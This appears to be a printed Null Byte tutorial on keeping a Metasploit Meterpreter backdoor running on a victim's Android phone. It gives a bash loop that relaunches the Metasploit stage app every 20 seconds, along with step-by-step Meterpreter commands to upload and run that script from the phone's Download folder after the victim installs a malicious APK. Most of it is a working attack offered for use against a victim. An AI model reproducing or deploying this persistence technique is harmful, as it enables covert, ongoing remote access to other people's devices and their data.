How To Create A Persistent Back Door in Android Using Kali Linux
How To Create A Persistent Back Door in Android Using Kali Linux
FORUM METASPLOIT BASICS FACEBOOK HACKS PASSWORD CRACKING WI-FI HACKING LINUX BASICS FOLLOW US
NULL BYTE
H OW TO
In this tutorial I am going to show you how to make the backdoor we created in my guide here a persistent one.
I finally found out a way to do this, as I was/am very poor in bash scripting, I took much time (20hrs approx.) to get the script working and
executable, thanks to the raw syntaxes I found out from other sites.
Step 1
https://null-byte.wonderhowto.com/how-to/create-persistent-back-door-android-using-kali-linux-0161280/ 1/6
4/24/2018 How to Create a Persistent Back Door in Android Using Kali Linux: « Null Byte :: WonderHowTo
After the User/Victim Installs and opens the abcde.apk, Meterpreter Comes Up...
Step 2
--------------------------------------------------------------------------------------------------------
#!/bin/bash
while true
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done
--------------------------------------------------------------------------------------------------------
(Don't copy these lines "-----" also, there are no line breaks in the 3rd and the 4th line, they are a single line)
(The first line #!/bin/bash is also important as it recognizes the script as a bash shell script)
(You can set the sleep to any amount of seconds you want the script to sleep)
--------------------------------------------------------------------------------------------------------
Updated Script v3 (Compatible with any android version)
CRITICAL: DO NOT COPY/PASTE THE SCRIPT DIRECTLY, OR IT (may) WON'T WORK /!\
..I guess, you will have to write it on your own.. (Don't ask me why..)
Code:
--------------------------------------------------------------------------------------------------------
#!/bin/bash
while :
do am start --user 0 -a android.intent.action.MAIN -n com.metasploit.stage/.MainActivity
sleep 20
done
--------------------------------------------------------------------------------------------------------
There is a 'space' between 'while' and ':'
NO Multiple spaces in the script.
NO Line Break between 3rd and 4th line. (So a total of 5 lines)
Step 3
https://null-byte.wonderhowto.com/how-to/create-persistent-back-door-android-using-kali-linux-0161280/ 2/6
4/24/2018 How to Create a Persistent Back Door in Android Using Kali Linux: « Null Byte :: WonderHowTo
cd /
Now you should be in the ROOT directory, you can check by typing:
ls
Now type:
cd etc
ls
cd init.d
ls
Here we are...
https://null-byte.wonderhowto.com/how-to/create-persistent-back-door-android-using-kali-linux-0161280/ 3/6
4/24/2018 How to Create a Persistent Back Door in Android Using Kali Linux: « Null Byte :: WonderHowTo
upload anything.sh
What the? No! We need Root Access to complete this command! Darn!
Never-Mind:
> Lets just make the application (i.e. Main Activity) persistent until Reboot
> However, it will not be persistent after the android system on the Victim goes for a Reboot.
> To do this upload the script anywhere in the sdcard:
cd /
cd /sdcard/Download
ls
upload anything.sh
Done! Uploaded!
Step 4
shell
https://null-byte.wonderhowto.com/how-to/create-persistent-back-door-android-using-kali-linux-0161280/ 4/6
4/24/2018 How to Create a Persistent Back Door in Android Using Kali Linux: « Null Byte :: WonderHowTo
cd /
cd /sdcard/Download
ls
sh anything.sh
The script has been Activated! All you have to do is press ctrl+C to terminate the shell (Don't worry the script is still running)
Step 5
Testing...
You can test it by exiting from meterpreter and again setting up a Listener.
You should get a meterpreter prompt automatically!
PROOF:
Wow! It happened so Fast that 3 sessions got opened one after another.
(I know that the above picture shows that I am hacking on LAN instead of WAN as my Public IP is dynamic and my router had some technical
problems, so it kept rebooting itself, so I showed t on LAN, BUT no worries I have tested it on WAN, works Fine )
The END:
Yes! Finally a persistent backdoor has been created successfully for Android systems.
Things to Remember:
The persistence of the backdoor will only remain until a reboot of the android system.
If you are hacking on WAN and you have a dynamic Public IP, then, the persistence will only remain until your router reboots/your IP
changes.
Remember to reboot the android to eliminate the running script, if you are testing on you own Android System.
If the Victim's Android system is Rooted and your Public IP is Static, then:
https://null-byte.wonderhowto.com/how-to/create-persistent-back-door-android-using-kali-linux-0161280/ 5/6
4/24/2018 How to Create a Persistent Back Door in Android Using Kali Linux: « Null Byte :: WonderHowTo
Good-Bye Hackers!
Keep Coming For More!
I'll be waiting for Your Likes and Comments,
Thank You,
F.E.A.R.
https://null-byte.wonderhowto.com/how-to/create-persistent-back-door-android-using-kali-linux-0161280/ 6/6